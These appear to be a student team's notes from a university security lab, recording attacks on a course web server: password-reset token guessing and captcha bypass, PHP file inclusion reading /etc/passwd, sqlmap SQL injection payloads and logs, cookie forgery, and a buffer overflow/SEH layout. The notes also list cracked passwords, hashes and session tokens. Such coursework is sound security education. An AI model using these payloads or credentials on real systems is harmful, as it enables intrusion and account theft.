Acquiring Website Password - Done

- We can do an online attack against password reset tokens because the ID of the captcha is stored
 on the frontend. So we can just script a POST of the form to the server and always complete the
 same captcha, regardless of which captcha the server sent us. This looks like a pretty big
 vulnerability that should be exploited.
 - For example POST to /forgotpw.php?user=RiskyHoneypot
 - captcha name=947
 - captcha_solution=Sy5
 - token=our_token_guess
 - o Full implementation in exploits/fetchpass.py
- PHP file inclusion can be done with

http://comp535-lampvm2.cs.unc.edu/download.php?file=/etc/passwd

- o CAN do this on ALL php files.
- See php/ for all our code
- user amw can have the password reset, instructions in this paper for guessing captcha:
 - o Link to the paper This was a dead end because of an easier approach
- they're using a finite set of captchas, 818 through 1052, as follows:
 - o http://comp535-lampvm2.cs.unc.edu/captchas/video 897.webm
 - Because of this, we can automate captcha bypass by feeding the same answer every time.
- Ryan: possibly something with Rick Astley
- Running the command -"\$ sqlmap u

http://comp535-lampvm2.cs.unc.edu/projects.php?order=schematicsid#Bourne reborn --dbs" gives us two databases: information schema, secureweb

- Actual command used: order=(SELECT (CASE WHEN (8933=8933) THEN 8933 ELSE 8933*(SELECT 8933 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
- See SQLMAP LOGS for further info
- Hashes gained from users table in passwords
 - Used sql queries "SELECT password FROM users WHERE username="<username>" to match users with hashes
- solarski : Ap1swa7w
 - Obtained by using kiddough.py on "A picture is sometimes worth a thousand words" and checking against the hash for the user
 - F594662E1FFAA3AEF92BF59E4E20CC87161AABD0C3A7D7438167E7DCD5AAE58584
 68CF90FF7EA16E086F22F3761694DE7A4E8562C485CB2F
- drdesai : Westborough2013
 - Obtained using 'compositestring.py' and the keywords from deven's fencing page
 - 260897419F7E7CF2B84DBA77C2FBFD1A1A4D24F4D4BF4A1CC96252BC78E0BD3FD0 F4CD4B84FF0B69B830CC0E0C228FC0C28BBAC710FD9E56
- fabian : fauxtatoes
 - 21F51C0D638ACBFD015716B5BE3CDFBEEAB1ED4F0FF664CC98C71EC0C081558858 5B9FA6B959F0D738AC042E34FB7CD6EDF46A4DEED20C17

- RiskyHoneypot: YGQVT5Fe0Fh4uQLWiNfnA3hLCyzX0e
- ForcefulFirewall: VHq4w7LJk1RurFSIOyXSAmji6vCiMa
- amw : Nice try.
 - o All three above obtained by probabilistically attacking the reset token page with fetchpass.py

Password Reset Mechanics - Done

- Discovered in php/forgotpw.php
- Encoding is base64_encode(md5(seconds::microseconds::username)
 - Example MD5("1492638993::307::ForcefulFirewall")
- Attempt to guess exactly the right microsecond that the server generated the reset token, recreate
 it, and post it back. This isn't hard because the request RTT from the lab VM is about 4
 microseconds. If you just do the same thing over and over, eventually you'll guess correctly.
 Usually took 3-5 attempts.
- Cracked with fetchpass.py

APIKEY_TOKEN Cryptanalysis - Done

- Using the information we learned in **header.php** and **account.php**, we knew that we needed to:
 - Figure out which key the server was using by
 - Guessing ALL PIDs
 - Guessing ALL combinations of UID/GID in /etc/passwd and /etc/groups
 - All other values were known (some determined at runtime)
 - Confirm the key by decrypting the APIKEY TOKEN cookie
 - Encrypt a NEW string "== SecureToken LoggedIn=True Publisher=True == " with the key we discovered.
 - Replace the APIKEY_TOKEN cookie with the encrypted value we generated in order to access a section of code which would perform the API Key lookup in the database for us.
- These steps were automated in get_token.php

Data We Have

- ForcefulFirewall passwords: ,xls *jql
- RiskyHoneypot passwords: zjgl {ogl
- Use secondary passwords to get over 25 points
- Obtained from user solarski
 - Objects in the game have a velocity for the X direction and the Y direction. Design of Roxanne required us to hard code both of these values. See common_defs.h
 - PWD_STORE_token=TFAK3OkTljkeOzO3OSv1noC4D4CzuQz87MwdnJJTkGqfY6unJwda R9VPJMSw8cLlzyQjAqlyWk%2Fk3%2BbSZSBczVSzCFKDiBPwwQQDX5OUTEiP0AVIDO Rpkd0FOvyqiKq1WIGE1x3W36Y1r66JAC5A%2Fkj5jiyED1t5sIVQLD%2BMvnWBlcXtVN3e 6HWY9fbnEtuhW%2BFkuUAjDfArdMKYQ2KGw4xoThxjdvjzZH%2BD9DTb9PwhdX5Bx0r3 G5IEuA3c4%2FnluYzdJQ75eEczMbdts4pk0ClpiLA%3D;

PWD_STORE_token_salt=a%C8%F6;
 SAFE2_TOKEN=5%2B7OPhh9e4%2BDH5YRH1YY7ILgC3N5bYabxf6rVvi8lXrrx%2BeCGo
 2WC0sSOcXBZSh9

Obtained from drdesail

- I figured that wall hacks will be easy things to accomplish. I have a surprise - if you try wall-hacking, then bots will come for you with vengence! Client objects are described using the data in this enum: include.
- Same header file as solarski
- PWD_STORE_token=Iv%2BdIIA%2FBFBDnkZqEYRzT4H5VWAro%2BdXaKfXZzxD27e6p COSMAncVIHDu4E%2Fuf2m6%2BtQifi8p%2BPdsaJrW%2BkvyKhK5BZ848P9E5dU6dGdA gqjzuenR0tHdmM1%2BjD89ldDlr8xWkt5PtPy%2FoAq6M8lCWnHvWAsv5brpXabyi0y3FYW 9DxFxPQ5u5OaaJiJIJri8UgYKocw6oEzRgYs9bVdbse3%2B9CVgdHzEm6DiDNjGB0UdLfn aqLyoW5mqNanwYl4mZsZvH2bCxGSDYJNwfQ0UNdYUwE%3D;
- PWD_STORE_token_salt=%F1%A8%2A;
- SAFE2_TOKEN=5%2B7OPhh9e4%2BDH5YRH1YY7ILgC3N5bYabxf6rVvi8lXrrx%2BeCGo 2WC0sSOcXBZSh9"

Obtained from fabian

- The authentication scheme needed some reliability improvements. The client sends username, password and a hash of the two. Thanks to that, the server just needs to check the hashes. The hash function source is available here: see hash_func.h
- PWD_STORE_token=9%2B0VbrYYgPFod16jTzoDFWjgxJghj2RbrNsjURuy8%2FFJEGkPe F9opYpRlwFvNQ2YSP3W9I7cxTaPXquNimNlyzB7yiBpiMGi5xrs4q6hL627U2Wt2RMuYAs6 CkaTpEDZl%2FKbiiuf%2Bpz3KVm9dTk3%2Fojco7KMglw057KcTDeJY%2F4O0tpvPjLYqu EYkeTPiHKpp1wnKncA2oscTjYWoflgQWnGh8NtpDyzJ08HDYBpngCsVFSfJqW3r4KMD4D %2F44KB%2Fp5RsLesl98qj7y4jpPysWSHxsU%3D;
- PWD STORE token salt=V%2CR;
- SAFE2_TOKEN=5%2B7OPhh9e4%2BDH5YRH1YY7lLgC3N5bYabxf6rVvi8lXrrx%2BeCGo 2WC0sSOcXBZSh9
- Obtained from ForcefulFirewall
 - PWD_STORE_token=4Qdx1%2BOhiKMJRV9UEAX7nSips%2Bg5JgY0zXKfSQEc9FdZdX QZJ3Qum%2FmQukOHfjVXeOQ9hkGl9Pd2QPbgBedkyUHm8nSg731Z12k4apUskNNjAoy 4LM5YFWf7574xuveNOPUSng%3D%3D;
 - PWD STORE token salt=%D8%E7%E4;
 - SAFE2_TOKEN=5%2B7OPhh9e4%2BDH5YRH1YY7lLgC3N5bYabxf6rVvi8lXrrx%2BeCGo 2WC0sSOcXBZSh9
- Obtained from RiskyHoneypot
 - PWD_STORE_token=wwZOhzEqJ%2BFtnxCies2zqR%2FPo6pA%2FwdeMJztgIYw4Xeq8 YZN2%2Bkn64gXBdnRVNW0%2FTeHLkK3sat%2F5azlgVC91zBMg5S%2Bm0rMyDq3Jqm 2rs%2FGpqEtjWxSbTwkZwMELhg106uYuw%3D%3D;
 - PWD_STORE_token_salt=%80+9;
 SAFE2_TOKEN=5%2B7OPhh9e4%2BDH5YRH1YY7ILgC3N5bYabxf6rVvi8lXrrx%2BeCGo
 2WC0sSOcXBZSh9; PHPSESSID=2l8ch53tsd4bh1laqt0rdrjf12

Bypassing Registration - Done

Things we know:

- Program asks for file containing 8 characters.
- Program does not verify there are only 8 character.
- Bytes 0-7 are read in as the key attempt
- Bytes 8-12 ??
- Bytes 13-16 overwrites the address returned to in the program
- Bytes 64-72 are the next SEH ptr and SEH handler

SQLMAP LOGS

aboutme firstname password

sqlmap identified the following injection point(s) with a total of 44 HTTP(s) requests: Parameter: order (GET) Type: boolean-based blind Title: MySQL >= 5.0 boolean-based blind - Parameter replace Payload: order=(SELECT (CASE WHEN (8933=8933) THEN 8933 ELSE 8933*(SELECT 8933 FROM INFORMATION SCHEMA.CHARACTER SETS) END)) available databases [2]: [*] information schema [*] secureweb Database: information_schema [61 tables] See database/information schema.txt **Database: secureweb tables** List of all tables [3 tables] +----+ | captcha | | projects | users +---+ Database: secureweb table users [9 columns] +----+ Column +----+ lastname

	safe_access	
	upload	
	username	
	website	
	userid	
+ -		+

Password hashes: (need to determine what goes with what user)

Database: secureweb

Table: users

Content: see database/passwords.csv